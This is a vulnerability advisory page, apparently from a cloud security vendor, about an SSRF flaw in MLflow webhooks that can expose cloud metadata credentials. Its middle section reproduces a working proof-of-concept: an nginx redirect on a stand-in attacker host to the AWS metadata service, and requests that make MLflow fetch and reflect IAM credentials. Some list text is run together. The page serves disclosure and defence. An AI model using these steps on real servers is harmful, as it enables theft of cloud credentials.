
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability in MLflow's webhook delivery mechanism that allows unauthenticated attackers to reach internal or cloud metadata services and read their responses. The flaw affects MLflow versions prior to 3.15.0 (confirmed present through 3.13.0). It was originally reported privately by @freeman-bb on 2026-06-12, independently discovered by @AUTHENSOR on 2026-06-26, and publicly disclosed via GitHub Advisory GHSA-7gwp-5pfp-969j on 2026-08-17. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory).
The vulnerability (CWE-918) stems from a Time-of-Check to Time-of-Use (TOCTOU) flaw in MLflow's webhook SSRF guard. The _validate_webhook_url() function in mlflow/utils/validation.py resolves the webhook hostname via socket.getaddrinfo() and rejects non-public IPs, but critically discards the resolved IP after validation. The subsequent HTTP request in mlflow/webhooks/delivery.py calls session.post(webhook.url) without allow_redirects=False, causing the requests library to independently re-resolve the hostname and follow any HTTP redirects without re-validating the redirect target's IP. Two bypass vectors exist: (1) Redirect-follow: an attacker's public HTTPS host passes the initial guard and returns a 302 Location pointing to an internal address (e.g., http://169.254.169.254/), which MLflow follows; (2) DNS rebinding (TOCTOU): the attacker's DNS server returns a public IP during getaddrinfo() validation and a private IP during the actual requests.post() connection. Because the /test endpoint reflects response_status and response_body back to the caller, this becomes a full-read SSRF (GitHub Advisory, GitHub Issue #24179).
An unauthenticated attacker with network access to the MLflow Tracking Server can force the server to issue HTTP requests to arbitrary internal, loopback, or cloud metadata endpoints and read the full response body. Primary targets include cloud instance metadata services (e.g., AWS IMDS at 169.254.169.254) that expose IAM role credentials and temporary access tokens, internal-only admin services, and private-network management endpoints. Beyond credential theft, 307/308 redirect variants preserve the POST method and body, enabling blind writes to internal management APIs (e.g., Docker daemon, Elasticsearch, Spring Boot Actuator), extending the impact to integrity as well as confidentiality (GitHub Advisory).
No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The vulnerability is trivially exploitable by unauthenticated attackers on default MLflow server deployments, as the webhook API requires no credentials unless the optional auth plugin is explicitly loaded. The EPSS score is 0.0 and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The advisory includes a detailed proof-of-concept walkthrough demonstrating successful exploitation against mlflow==3.13.0 with a default SQLite backend (GitHub Advisory).
mlflow server with SQLite backend) expose the webhook API unauthenticated.attacker.example.com). Configure it to return a 302 redirect to the internal target: nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }_validate_webhook_url since the domain resolves to a public IP):POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"name":"poc","url":"https://attacker.example.com/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}Server responds with 200 and a webhook_id.
4. Trigger the unauthenticated /test endpoint to fire the webhook synchronously:
POST /api/2.0/mlflow/webhooks/<webhook_id>/test HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"webhook_id":"<webhook_id>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}302 redirect to 169.254.169.254 without re-validating the IP, and the response body (e.g., IAM credentials) is reflected back in response_body:{"result":{"success":true,"response_status":200,"response_body":"<IAM_CREDENTIALS_HERE>"}}_validate_webhook_url() validation and switch to 169.254.169.254 for the subsequent requests.post() resolution, achieving the same SSRF without a redirect server (GitHub Advisory, GitHub Issue #24179).169.254.169.254, 127.0.0.1, RFC1918 addresses (10.x.x.x, 172.16.x.x, 192.168.x.x), or other non-public IPs originating from the MLflow process.POST /api/2.0/mlflow/webhooks (webhook creation) and POST /api/2.0/mlflow/webhooks/{id}/test requests from unexpected source IPs.response_body fields in webhook test responses containing cloud metadata content (e.g., IAM role names, access key patterns like ASIA* or AKIA*).webhooks table) with URLs pointing to unfamiliar external domains, especially those with very short DNS TTLs.Primary remediation: Upgrade MLflow to version 3.15.0 or later, which introduces SSRFProtectedHTTPAdapter in mlflow/webhooks/ssrf.py. This adapter validates the peer IP of the actual connected socket immediately after TCP connect and before any TLS/HTTP exchange, closing both the redirect-follow and DNS-rebinding TOCTOU gaps. The fix was merged in commit ba94952 via PR #24258 (MLflow v3.15.0 Release, Fix PR #24258).
Workarounds (if immediate upgrade is not possible):
169.254.169.254, loopback, and RFC1918 address ranges.MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=false (already the default) and audit existing webhook URLs in the database for suspicious entries (GitHub Advisory).The vulnerability was credited to multiple independent researchers: @freeman-bb (original private reporter, 2026-06-12), @AUTHENSOR (independent public disclosure via issue #24179, 2026-06-26), and additional finders @y011d4, @ibondarenko1, @h1-mrz, and @th3cyb3rc0p. The fix was reviewed by both automated AI review bots (NaiLaOpus, Copilot, Claude) and approved after addressing edge cases including proxy bypass via HTTP_PROXY environment variables and OSError handling in getpeername(). The vulnerability was proposed as a case study for the "Evaluator Trust Boundary (ETB)" defect class in MITRE ATLAS by @AUTHENSOR, reflecting broader interest in AI/ML infrastructure security (GitHub Advisory, Fix PR #24258).
SSRFProtectedHTTPAdapterSource: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."